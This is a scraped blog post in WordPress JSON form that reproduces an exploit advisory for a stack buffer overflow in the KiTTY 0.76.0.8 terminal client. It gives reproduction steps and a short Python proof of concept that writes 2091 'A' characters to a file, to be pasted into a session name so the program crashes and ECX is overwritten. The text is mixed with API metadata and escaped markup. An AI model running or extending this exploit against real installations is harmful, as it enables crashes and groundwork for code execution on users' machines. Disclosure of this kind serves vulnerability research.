# Exploit Title: Kitty 0.76.0.8 Stack Buffer Overflow
\n# Discovered by: Yehia Elghaly
\n# Discovered Date: 2022-06-08
\n# Vendor Homepage: http:\/\/www.9bis.net\/kitty\/index.html#!index.md
\n# Software Link : https:\/\/www.fosshub.com\/KiTTY.html?dwl=kitty_portable-0.76.0.8.exe
\n# Tested Version: 0.76.0.8
\n# Vulnerability Type: Buffer Overflow
\n# Tested on OS: Windows 7 Professional x86 SP1 – Windows 10 x64<\/p>\n
# Description: Kitty 0.76.0.8 Stack Buffer Overflow<\/p>\n
# Steps to reproduce:
\n# 1. – Run the python script and it will create exploit.txt file.
\n# 3. – Kitty 0.76.0.8
\n# 4. – Sessions -> Save
\n# 5. – Paste the characters of txt to Saved\/Sessions then click save
\n# 6. – Crashed
\n# Note: ECX Overwwrite<\/p>\n
#!\/usr\/bin\/python<\/p>\n
exploit = ‘A’ * 2091<\/p>\n
try:
\nfile = open(“exploit.txt”,”w”)
\nfile.write(exploit)
\nfile.close()<\/p>\n
print(“POC is created”)
\nexcept:
\nprint(“POC not created”)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Kitty 0.76.0.8 Stack Buffer Overflow # Discovered by: Yehia Elghaly # Discovered Date: 2022-06-08 # Vendor Homepage: http:\/\/www.9bis.net\/kitty\/index.html#!index.md # Software Link : https:\/\/www.fosshub.com\/KiTTY.html?dwl=kitty_portable-0.76.0.8.exe # Tested Version: 0.76.0.8 # Vulnerability Type: Buffer Overflow # Tested on OS: Windows 7 Professional x86 SP1 – Windows 10 x64 # Description: Kitty 0.76.0.8 Stack Buffer Overflow …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-25916","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25916","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=25916"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/25916\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=25916"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=25916"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=25916"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}